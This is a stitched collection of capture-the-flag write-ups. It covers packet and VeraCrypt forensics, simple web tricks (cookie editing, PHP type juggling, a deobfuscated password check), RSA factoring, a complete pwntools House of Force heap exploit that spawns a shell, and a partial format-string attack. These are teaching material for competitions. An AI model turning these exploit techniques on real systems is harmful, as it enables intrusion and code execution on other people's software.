was), so I attempted to figure out how to decrypt without actually performing the authentication. To do this, we'll have to look at how secretbox actually works. There's a hint from notes.txt - specifically `xsalsa20poly1305`. This denotes two things - XSalsa20 and Poly1305. A quick google reveals that XSalsa20 is a stream cipher, and Poly1305 is a MAC. In other words, XSalsa20 is used to actually encrypt the data, and Poly1305 is used to authenticate it. So, if we just ignore the MAC and get the stream, we should be able to decrypt without verification. To do this, we have to figure out where the MAC is: ```pythonimport nacl.secret key = '6B4C397D6D9E3F5E20D0B33B594C57AC03E5A42CFD432B71D43F8772F3F23381'.decode('hex')nonce = 'F228B1C1C5ED37509726BE5FF8A87D3A05258D0235013BF7'.decode('hex')box = nacl.secret.SecretBox(key) print box.encrypt('AAAA', nonce)[24:].encode('hex')print box.encrypt('AAAB', nonce)[24:].encode('hex')``` This script prints out: ```acd1307d40b56591861d2dbe353d0ab2057511d2cb03228998d50636022610118e211b1f857511d2f``` Here, we notice that the last 4 bytes are very similar (as one would expect in a stream cipher), whereas the first 16 bytes are completely different - this means that the ciphertext is prepended with the MAC, so if we want to decrypt without verification, we should ignore those bytes. Okay, now, to actually do the encryption, we can generate the keystream simply encrypting a bunch of null bytes, then XORing the resulting "ciphertext" with a given ciphertext to decrypt it: ```pythonimport nacl.secret key = '6B4C397D6D9E3F5E20D0B33B594C57AC03E5A42CFD432B71D43F8772F3F23381'.decode('hex')nonce = 'F228B1C1C5ED37509726BE5FF8A87D3A05258D0235013BF7'.decode('hex')data = open("cipher.txt", "rb").read()box = nacl.secret.SecretBox(key) # Courtesy of stackoverflowdef sxor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) # get rid of MACdata = data[16:] # generate the keystreamkeystream = box.encrypt("\x00"*len(data), nonce)[24+16:] # get rid of MAC and nonce f = open("decrypted", "wb")f.write(sxor(data, keystream))f.close()``` With this new script, we can perform decryption of a truncated plaintext. Notably, if we decrypt the first few bytes of a ciphertext block (which I correctly assumed would only start at the beginning of the packet), we can check to see if it is a valid protobuf header, and if so, we can find the length of the entire ciphertext using [protobuf-inspector](https://github.com/mildsunrise/protobuf-inspector), which will tell us the length of the full ciphertext. You'll have to modify the source code right before the failed assertion to have it print out the length. By doing so, we find three more interesting ciphertext blobs: one starting at packet 13, one starting at packet 97, and another starting at packet 387. I was quite confused at this point, because I figured a ciphertext blob was at packet 13 and tried decrypting it, and even brute forced the end point. It turns out that doing things by hand is a bad idea. When I was copy pasting bytes into my HxD (my hex editor of choice), I would have to delete the TCP header bytes to only get the TLS data. Since the TCP header typically ended in null bytes, I would use that to sort of eyeball how many bytes I should delete. But, looking at packet 21, the first byte of the encrypted data is actually a null byte, which I deleted every time I tried to do this by hand, causing the decryption to fail. Well, that sucks. Alright, well, let's stop doing things by hand then, shall we? To exfiltrate all the encrypted traffic, we utilize a wireshark filter (something like, for example, `ip.src==10.128.0.2 && frame.number > 96 && frame.number < 387 && !tcp.analysis.out_of_order && !tcp.analysis.fast_retransmission`) to limit the filtered packets to only one ciphertext blob. Then we export these to a file using **File -> Export Packet Dissections -> As Plain Text** and unselect all the fields except "Packet Bytes". Afterwards, we do some simple text processing to delete the TCP headers and the sections that aren't part of the hex dump. Finally, we take the hex, paste it into our hex editor, and we have our ciphertext blob. Decrypting our three blobs and parsing the protobuf, we get these (as well as the image we found earlier): [mystery_file](./mystery_file) [audio.mp3](./audio.mp3) [new_pcap.pcapng](./new_pcap.pcapng) [secrets.log](./secrets.log) ### Mystery file Okay - there's a lot of new evidence here. Let's start with the mystery file. Looking at the mystery file in a hex editor, it doesn't seem to be any particular file type. Indeed, running `file` on it simply yields `data` as the result. Similarly, running `binwalk` and `foremost` both yield nothing of interest. There's probably something else in the evidence that tells us how to use this. Let's move on. ### Audio Looking at the mp3 file, there doesn't appear to be anything interesting except the audio itself. The audio is a person speaking, presumably the victim in this case. Here's a transcript of what he says : ```aHmm... what should I set my password to?Probably want a secure password.Maybe... (googling) "secure password generator"?This looks pretty good. Length of 16... okay. Generated it.Um... oh, I should use the wordlist I have for extra security.Oh yeah, I can uh, have the red one.That's the uh, that's the next one I was going to use.So maybe I can append the red word to the password I randomly generated.I think that should be pretty strong.``` Okay - this is pretty interesting. He mentions a randomly generated password - it's likely that this is the same password that is shown in the PNG we recovered way in the beginning - `R(3/[V*H}'(;5pax`! Next, he mentions a wordlist, and in particular picks the "red one". We don't know what this word list is, but it's likely that it will come up later. ### New pcap Opening it up, we're greeted with a ton of SSL traffic - real SSL traffic this time. Fortunately, if we look at secrets.log, we see stuff like: ```a# SSL/TLS secrets log file, generated by NSS CLIENT_RANDOM 8ea2253d0e7d503c6fa8d1db5ba3f5a47900291595ed0cf9eecaff21806ee823 644a24400fd559e49eaf4958c93b2ba73c84feb44c0077e5ab90797b5be088b2bd25586ab79c83c1ad6e623fb66a7449 ... and more``` This is a secrets log file, meaning we can use it to decrypt the SSL traffic! In Wireshark, we go to **Edit -> Preferences -> Protocols -> TLS (or SSL depending on your wireshark version) -> (Pre)-Master-Secret log filename** and select secrets.log. Just like that, our SSL traffic is decrypted! First, let's look through the HTTP files through **File -> Export Objects -> HTTP**. Here, we see a lot of host names - some websites for SSL stuff, and some other weird domains such as `tharbadir.com` and `nativepu.sh`. Out of all of these, however, one site in particular pops out: `anotepad.com`. We see that the victim creates a note at `https://anotepad.com/notes/54dsnxwy`. Unfortunately, when we try to visit it, it looks like it's been deleted. I spent some time trying to figure out what to do. Of course, it turns out I was overthinking things, because the pcap itself has a GET request for the note! We then extract the file, yielding [wordlist.html](./wordlist.html). Opening up the html file, we see that it's the wordlist we want! There's even the red word - `annoyed`. With this, we have the complete password: `R(3/[V*H}'(;5paxannoyed`. ### The mystery file, revisited We've found at least one useful thing from every piece of evidence so far - except this mystery file. I figured that we had to use the password somehow to decrypt the file. I tried simple things such as performing a simple xor, but without success. I considered something like Veracrypt or an encrypted LUKS partition, but since the mystery file didn't have a file header, I eliminated that as a possibility. I got stuck here for a while, until DrDinosaur (the challenge author) thankfully released a hint - "For Friendship Gone Awry, if you are stuck toward the end on what to do, look closely at what you have decrypted." This definitely sounds like a hint for what we're stuck on now. Struck with a flash of inspiration, I looked back at the original image I found: ![image](out_file.png) Looking at the task bar, we see the Veracrypt icon at the bottom! This means our mystery blob is encrypted with Veracrypt. But wait, didn't I say that Veracrypt files have headers? Well, that's what I thought, but as is often the case, I was wrong. Just to make sure, I looked up how to detect encrypted Veracrypt volumes, and found [this](https://www.raedts.biz/forensics/detecting-truecrypt-veracrypt-volumes/). Sure enough, our mystery blob passes all of the checks mentioned in the article. Okay - we're at the final stretch. We just need to decrypt the Veracrypt volume with our password, right? Usually, whenever a question is asked like this, the answer is usually "it's not that simple". I copied the password into Veracrypt and attempted to decrypt. I eagerly waited for the volume to decrypt and finish the challenge. Well, you can probably see where I'm going with this. It didn't work. So, here's an interesting story. Throughout this challenge, I've been using python for a lot of stuff - such as computing where each encrypted blob in the original pcap starts/ends, or testing out the string xor between the password and encrypted blob I mentioned earlier. So, I copy pasted the password from my python IDLE into Veracrypt when I tried to decrypt the volume. And you see the single quote in `R(3/[V*H}'(;5paxannoyed`? Well, it turns out I had put a backslash there in python to escape the single quote, and that backslash was still there when I copy pasted it... Finally, I typed in the actual password into Veracrypt, and got the flag. ## Flag `uiuctf{time_to_start_farming_bells_again}`
# Web ## Cascade```Welcome to csictf. http://chall.csivit.com:30203``` We are on a basic website, no `robots.txt`, but in `static/style.css` there is:``` cssbody { background-color: purple; text-align: center; display: flex; align-items: center; flex-direction: column;} h1, div, a { /* csictf{w3lc0me_t0_csictf} */ color: white; font-size: 3rem;}``` The flag is: `csictf{w3lc0me_t0_csictf}` ## Oreo```My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum. http://chall.csivit.com:30243``` On the website we still have the message `My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.` We also have a cookie `flavour` with value `c3RyYXdiZXJyeQ==` `c3RyYXdiZXJyeQ==` is `strawberry` in base64 We encode `chocolate` in base64 (`Y2hvY29sYXRl`), put it in value of the cookie `flavour` and refresh the page, the flag is show ! The flag is: `csictf{1ick_twi5t_dunk}` ## Warm Up```If you know, you know; otherwise you might waste a lot of time. http://chall.csivit.com:30272``` On website we have the source code of `index.php`: ``` php ``` Sha1 of `10932435112` is `0e07766915004133176347055865026311692244` The comparaison `if($hash == $target)` is vulnerable because it is not a strict comparaison with `===` Exemple:```'0x123' == '0x845' is true'0x123' === '0x845' is false``` We can find other magic hashes on internet: https://git.linuxtrack.net/Azgarech/PayloadsAllTheThings/blob/master/PHP%20juggling%20type/README.md For exemple: sha1 of `aaroZmOk` is `0e66507019969427134894567494305185566735` So `sha1('aaroZmOk') == sha1(10932435112)` is true To get the flag we open the url `http://chall.csivit.com:30272/?hash=aaroZmOk` The flag is: `csictf{typ3_juggl1ng_1n_php}` ## Mr Rami```"People who get violent get that way because they canโ€™t communicate." http://chall.csivit.com:30231``` There is a `robots.txt` file:```# Hey there, you're not a robot, yet I see you sniffing through this file.# SEO you later!# Now get off my lawn. Disallow: /fade/to/black``` And on url `http://chall.csivit.com:30231/fade/to/black` we can read the flag... so easy... The flag is `csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}` ## Secure Portal```This is a super secure portal with a really unusual HTML file. Try to login. http://chall.csivit.com:30281``` There is a password input on website The password cheacker seems be an obfuscated script in javascript:``` javascriptvar _0x575c=['\x32\x2d\x34','\x73\x75\x62\x73\x74\x72\x69\x6e\x67','\x34\x2d\x37','\x67\x65\x74\x49\x74\x65\x6d','\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d','\x31\x32\x2d\x31\x34','\x30\x2d\x32','\x73\x65\x74\x49\x74\x65\x6d','\x39\x2d\x31\x32','\x5e\x37\x4d','\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d','\x62\x62\x3d','\x37\x2d\x39','\x31\x34\x2d\x31\x36','\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65',];(function(_0x4f0aae,_0x575cf8){var _0x51eea2=function(_0x180eeb){while(--_0x180eeb){_0x4f0aae['push'](_0x4f0aae['shift']());}};_0x51eea2(++_0x575cf8);}(_0x575c,0x78));var _0x51ee=function(_0x4f0aae,_0x575cf8){_0x4f0aae=_0x4f0aae-0x0;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword(_0x47df21){var _0x4bbdc3=[_0x51ee('0xe'),_0x51ee('0x3'),_0x51ee('0x7'),_0x51ee('0x4'),_0x51ee('0xa')];window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12','BE*');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'),_0x51ee('0xb'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'),'5W');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16',_0x51ee('0x9'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'),'pg');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9','+n');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'),'4t');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'),'$F');if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8'))===_0x47df21[_0x51ee('0x1')](0x9,0xc)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2'))===_0x47df21['substring'](0x4,0x7)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6'))===_0x47df21[_0x51ee('0x1')](0x0,0x2)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16')===_0x47df21[_0x51ee('0x1')](0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5'))===_0x47df21[_0x51ee('0x1')](0xc,0xe)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc'))===_0x47df21[_0x51ee('0x1')](0x7,0x9)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd'))===_0x47df21[_0x51ee('0x1')](0xe,0x10)){if(window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0'))===_0x47df21[_0x51ee('0x1')](0x2,0x4))return!![];}}}}}}}return![];}``` When we beautify the code we obtain:``` javascriptvar _0x575c = ['2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage', ]; (function(_0x4f0aae, _0x575cf8) { var _0x51eea2 = function(_0x180eeb) { while (--_0x180eeb) { _0x4f0aae['push'](_0x4f0aae['shift']()); } }; _0x51eea2(++_0x575cf8);}(_0x575c, 0x78));var _0x51ee = function(_0x4f0aae, _0x575cf8) { _0x4f0aae = _0x4f0aae - 0x0; var _0x51eea2 = _0x575c[_0x4f0aae]; return _0x51eea2;}; function CheckPassword(_0x47df21) { var _0x4bbdc3 = [_0x51ee('0xe'), _0x51ee('0x3'), _0x51ee('0x7'), _0x51ee('0x4'), _0x51ee('0xa')]; window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb')); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'), '5W'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _0x51ee('0x9')); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'), 'pg'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'), '4t'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'), '$F'); if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x8')) === _0x47df21[_0x51ee('0x1')](0x9, 0xc)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x2')) === _0x47df21['substring'](0x4, 0x7)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x6')) === _0x47df21[_0x51ee('0x1')](0x0, 0x2)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16') === _0x47df21[_0x51ee('0x1')](0x10)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x5')) === _0x47df21[_0x51ee('0x1')](0xc, 0xe)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xc')) === _0x47df21[_0x51ee('0x1')](0x7, 0x9)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0xd')) === _0x47df21[_0x51ee('0x1')](0xe, 0x10)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_0x51ee('0x0')) === _0x47df21[_0x51ee('0x1')](0x2, 0x4)) return !![]; } } } } } } } return ![];}``` In `CheckPassword` function, there is an initialisation of part of the password in local storage and then a comparison between the local storage and the password enter by the user In the console of a browser, we execute:``` javascriptvar _0x575c = ['2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage', ]; var _0x51ee = function(_0x4f0aae, _0x575cf8) { _0x4f0aae = _0x4f0aae - 0x0; var _0x51eea2 = _0x575c[_0x4f0aae]; return _0x51eea2;}; var _0x4bbdc3 = [_0x51ee('0xe'), _0x51ee('0x3'), _0x51ee('0x7'), _0x51ee('0x4'), _0x51ee('0xa')];window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x2'), _0x51ee('0xb'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x6'), '5W');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _0x51ee('0x9'));window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x5'), 'pg');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0xd'), '4t');window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_0x51ee('0x0'), '$F');``` After, we can read in local storage each part of the password:```0-2:"5W"2-4:"$F"4-7:"bb="7-9:"+n"9-12:"BE*"12-14:"pg"14-16:"4t"16:"^7M"``` The full password is `5W$Fbb=+nBE*pg4t^7M` We enter this password and we can read the flag ! The flag is: `csictf{l3t_m3_c0nfus3_y0u}`
# A classical [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) Problem The file **enc.txt** contains the public key (e, n) and the ciphertext We have n, but we dont have p and qWe can try to bruteforce the values of p and q with the following script: ```for i in range(2, 100000000): if n % i == 0: p = i q = n//p print("Factors found") print(p, q) break```Running the above script with pypy yields the factors in around 30sec *Alternatively you can use [factordb](http://www.factordb.com/index.php?query=408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231)* Now we can find phi, using p and q```phi = (p-1) * (q-1)``` And d will be```d = pow(e, -1, phi)``` Now the decryption formula```M = pow(C, d, N)``` Whole Script```n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231e = 65537c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909 for i in range(2, 100000000): if n % i == 0: p = i q = n//p print(p, q) break # p = 15485863# q = 26384008867091745294633354547835212741691416673097444594871961708606898246191631284922865941012124184327243247514562575750057530808887589809848089461174100421708982184082294675500577336225957797988818721372546749131380876566137607036301473435764031659085276159909447255824316991731559776281695919056426990285120277950325598700770588152330565774546219611360167747900967511378709576366056727866239359744484343099322440674434020874200594041033926202578941508969596229398159965581521326643115137 phi = (p-1)*(q-1)d = pow(e, -1, phi)M = bytes.fromhex(hex(pow(c,d, n))[2:])print(M)``` ```b"csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}"```
# rgbctf-pwn `Writeup for RGBCTF soda-pop-bop challenge` # HOUSE OF FORCE #### The libc version was 2.27. And it doesn't have any checks for top chunk.### Finding the bug was actually simple```c00000ccb *party = malloc(zx.q(*party_size) << 5)00000ce5 if (*party == 0)00000ce5 puts(data_109f) {"You can't have a party of 0!"}00000cef exit(1)00000cef noreturn00000cfa if (*party_size u<= 1)00000d9b puts(data_10da) {"All alone...? I'm so sorry :("}00000da7 *(*party + 0x18) = -1 <---------------- It puts the -1 to the top chunk if the Party size we give is "0".00000db6 puts(data_10f8) {"What's your name?"}00000dc7 printf(data_f5f)00000dd3 uint64_t rdx_7 = *party00000de8 fgets(rdx_7, 0x18, stdin, rdx_7)```This else condition is never meant to execute. the party size is either 0/1 OR > 1. The if condition inside the while(True) loop never gets false because the variable is assigned 0 at the start and checks if (var) <= party_size. Which is always true. So the loop terminates and never gets executed. ```00000d03 else00000d03 int32_t var_c_1 = 000000d81 while (true)00000d81 uint64_t rdx_6 = zx.q(var_c_1)00000d8c if (rdx_6:0.d u<= *party_size)00000d8c break00000d1d printf(data_10bc, zx.q(var_c_1), rdx_6) {"What's the name of member %d?"}00000d2e printf(data_f5f)00000d47 *(*party + (sx.q(var_c_1) << 5) + 0x18) = -100000d67 int64_t rdx_4 = *party + (sx.q(var_c_1) << 5)00000d78 fgets(rdx_4, 0x18, stdin, rdx_4)00000d7d var_c_1 = var_c_1 + 1``` ```c00000df2 while (true)00000df2 print_menu()00000e06 char var_d_1 = _IO_getc(stdin):0.b00000e13 _IO_getc(stdin)00000e18 uint64_t rax_18 = zx.q(sx.d(var_d_1))00000e1c if (rax_18:0.d == 0x32)00000e4a get_drink()00000e21 else00000e21 if (rax_18:0.d s> 0x32)00000e2d if (rax_18:0.d == 0x33)00000e56 sing_song()00000e5b continue00000e62 else if (rax_18:0.d == 0x34)00000e62 exit(0)00000e62 noreturn00000e26 else if (rax_18:0.d == 0x31)00000e3e choose_song()00000e43 continue00000e6e puts(data_110a) {"????"}``` ### choose_song function just asks for no.of bytes to allocate and reads the data into it.```c000009da puts(data_f44) {"How long is the song name?"}000009eb printf(data_f5f)00000a03 int64_t var_1800000a03 __isoc99_scanf(data_f62, &var_18) {"%llu"}00000a12 _IO_getc(stdin)00000a23 *selected_song = malloc(var_18)00000a31 puts(data_f67) {"What is the song title?"}00000a42 printf(data_f5f)00000a52 uint64_t rcx = zx.q(var_18:0.d)00000a60 fgets(*selected_song, zx.q(rcx:0.d), stdin, rcx)``` ### singsong() function just prints the pointer which is returened by malloc ( We leak addresses using this function. )```c000009bb return printf(data_f2e, *selected_song) {"You sang %p so well!\n"}``` ### The get_drink() function is quiet intresting```c00000a9a puts(data_f7f) {"What party member is buying?"}00000aab printf(data_f5f)00000ac3 int32_t var_1800000ac3 __isoc99_scanf(data_f9c, &var_18)00000ad2 _IO_getc(stdin)00000ae0 if (var_18 u>= *party_size)00000aeb puts(data_f9f) {"That member doesn't exist."}00000afc else00000afc puts(data_fba) {"What are you buying?"}00000b08 puts(data_fcf) {"0. Water"}00000b14 puts(data_fd8) {"1. Pepsi"}00000b20 puts(data_fe1) {"2. Club Mate"}00000b2c puts(data_fee) {"3. Leninade"}00000b3d printf(data_f5f)00000b55 int32_t var_1400000b55 __isoc99_scanf(data_ffa, &var_14)00000b64 _IO_getc(stdin)00000b6c if (var_14 s<= 3)00000b97 *(*party + (zx.q(var_18) << 5) + 0x18) = sx.q(var_14)00000b78 else00000b78 puts(data_ffd) {"We don't have that drink."}```I will explain it later on the writeup ### exploitation part. The program asks for party size which is stored into bss.```cstruct party { pointer_to_heap; party_size;}``` the size is stored into the partysize.We start by giving party size zero. Giving zero malloc will return the smallest chunk. And the ```c(*party + 0x18) = -1```A negative value is onto the topchunk size field, which gives us House of force primitive. ```py Reference: https://www.youtube.com/watch?v=6-Et7M7qJJg Max kamper has amazing video on house-of-force.``` In the sing song function malloc returns the pointer to a bss variable ```c *selected_song```Which contains a pie address when the program runs. This leaks the PIE, Getting heap leak was simpleAllocate a normal chunk and print the address of the chunk using selected_song function again. Using house of force, We get the heap to bss.```pydef return_size(target, wilderness): return target - wilderness - 0x10```The helper function to return the bad size which will be passed to malloc. We fully control the bss now. I overwrote the partysize to a big value. ### The get_drink() function```c00000a9a puts(data_f7f) {"What party member is buying?"}00000aab printf(data_f5f)00000ac3 int32_t var_1800000ac3 __isoc99_scanf(data_f9c, &var_18)00000ad2 _IO_getc(stdin)00000ae0 if (var_18 u>= *party_size)00000aeb puts(data_f9f) {"That member doesn't exist."}00000afc else00000afc puts(data_fba) {"What are you buying?"}00000b08 puts(data_fcf) {"0. Water"}00000b14 puts(data_fd8) {"1. Pepsi"}00000b20 puts(data_fe1) {"2. Club Mate"}00000b2c puts(data_fee) {"3. Leninade"}00000b3d printf(data_f5f)00000b55 int32_t var_1400000b55 __isoc99_scanf(data_ffa, &var_14)00000b64 _IO_getc(stdin)00000b6c if (var_14 s<= 3)00000b97 *(*party + (zx.q(var_18) << 5) + 0x18) = sx.q(var_14) 00000b78 else00000b78 puts(data_ffd) {"We don't have that drink."}```The get drink function first takes unsigned integer. And it checks if the input integer is greater or equal to the party size.If it is then it's terminates the function.When we get our heap transfered to bss.There is a topchunk size field on bss. The else part of this code does is it scans an integer, and checks if it is less than equals to 3.### We can give negative values here. (;The later part will write the value we gave to the address of *party + `blablamath` We can change the top chunk size here By just calculating offset with trial and error. First i changed the top chunk size to 0. and allocate a big chunk of size ```py 0x210000``` The chunk we will recieve will be mmaped chunk. Right before libcbase, ALIGNED.Selected song contains the address of this mmaped chunk.We leak libc.Now we change the Top chunk again to -1.HOUSE OF FORCE PRIMITIVE AGAIN. One_gadget constraints weren't matching so, I change malloc hook (& realloc + 8) and realloc hook to onegaget. And pop the shell. ```py#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host challenge.rgbsec.xyz --port 6969 ./spbfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./spb')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'challenge.rgbsec.xyz'port = int(args.PORT or 6969) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''tbreak maincontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled io = start() def init(size, name): io.recvuntil('> ') io.sendline(str(size)) io.recvuntil('> ') io.sendline(name) def getleak(): io.recvuntil('> ') io.sendline('3') def choose(size, data): io.recvuntil('> ') io.sendline('1') io.recvuntil('> ') io.sendline(str(size)) io.recvuntil('> ') io.sendline(data) def getdrink(member, fuck): io.recvuntil('> ') io.sendline('2') io.recvuntil('> ') io.sendline(str(member)) io.recvuntil('> ') io.sendline(str(fuck)) def return_size(target, wilderness): return target - wilderness - 0x10 init(0, 'H'*0x17)io.sendline()getleak()io.recvuntil('You sang ')pie = int(io.recvn(14), 0) - 0xf08log.info('Pie leak {}'.format(hex(pie)))choose(0x18, 'K'*0x17)io.sendline()getleak()io.recvuntil('You sang ')heap = int(io.recvn(14), 0)log.info('Heap leak {}'.format(hex(heap)))target_address = pie + 0x202040choose(return_size(target_address, heap + 0x10), 'A')choose(0x110, p64(pie + 0x202050) + p64(0x7f7f7f7f7f7f7f7f))getdrink(8, 0)choose(0x210000, 'AAAA')getleak()io.recvuntil('You sang ')libc.address = int(io.recvn(14), 0) + 0x210ff0log.info('Libc leak {}'.format(hex(libc.address)))getdrink(8, -1)target2 = libc.sym.__realloc_hook - 0x8choose(return_size(target2, pie + 0x202168), 'BBBBBBBB')def attack(size, data): io.recvuntil('> ') io.sendline('1') io.recvuntil('> ') io.sendline(str(size))choose(0x110, p64(libc.address + 0x4f3c2) + p64(libc.address + 0x10a45c ) + p64(libc.sym.realloc + 8) + 'AAAAAAA')#pause()attack(0x100, 'A')io.interactive()``` ### third_blood ...
For Detailed writeup visit [this](https://github.com/DaBaddest/CTF-Writeups/tree/master/Csisctf/Little%20RSA) link ```import zipfile, osc=32949n=64741e=42667for m in range(n): temp = pow(m, e, n) if temp == c: key = m print(key)p = str(key).encode()with zipfile.ZipFile('flag.zip') as zf: try: zf.extractall(pwd=p) print("found ", p) except: print('Tried', p)os.system("type flag.txt")``` ```csictf{gr34t_m1nds_th1nk_4l1ke}```
## Description Greta Thunberg 1 Administration 0 ```nc chall.csivit.com 30023``` ## Analysis Decompile with Ghidra. `main()` just accepts some input and passes it into `login()`: ```cundefined4 main(void){ char local_410 [1024]; undefined *local_10; local_10 = &stack0x00000004; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); fgets(local_410,0x400,stdin); login(&DAT_0804a030,local_410); return 0;}``` `login()` passes our input directly into `printf()`... and this is important because it's vulnerable to format string attacks. Then it compares a global variable called `admin` to `0xb4dbabe3` (same thing as `-0x4b24541d`) and gives us the flag if true: ```cvoid login(undefined4 param_1,char *param_2){ printf(param_2); if (admin == -0x4b24541d) { system("cat flag.txt"); } else { printf("You cannot login as admin."); } return;}``` In other words, We should be able to write `0xb4dbabe3` to `admin` through a format string attack. Here's the address of the variable we want to write: ```kali@kali:~/Downloads$ objdump -D global-warming | grep -A2 admin0804c02c <admin>: 804c02c: 00 00 add %al,(%eax) ...``` So to start with, we can print that address, then print a bunch of words from the stack to find its offset. ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x "' | ./global-warming ,f7f432c0.fbad2087.080491b2.f7f0d000.0804c000.ff900eb8.08049297.0804a030.ff900ab0.f7f0d580.08049219.0804c02c You cannot login as admin.``` That's an offset of 12, which we can print with: ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08 %12\$p "' | ./global-warming , 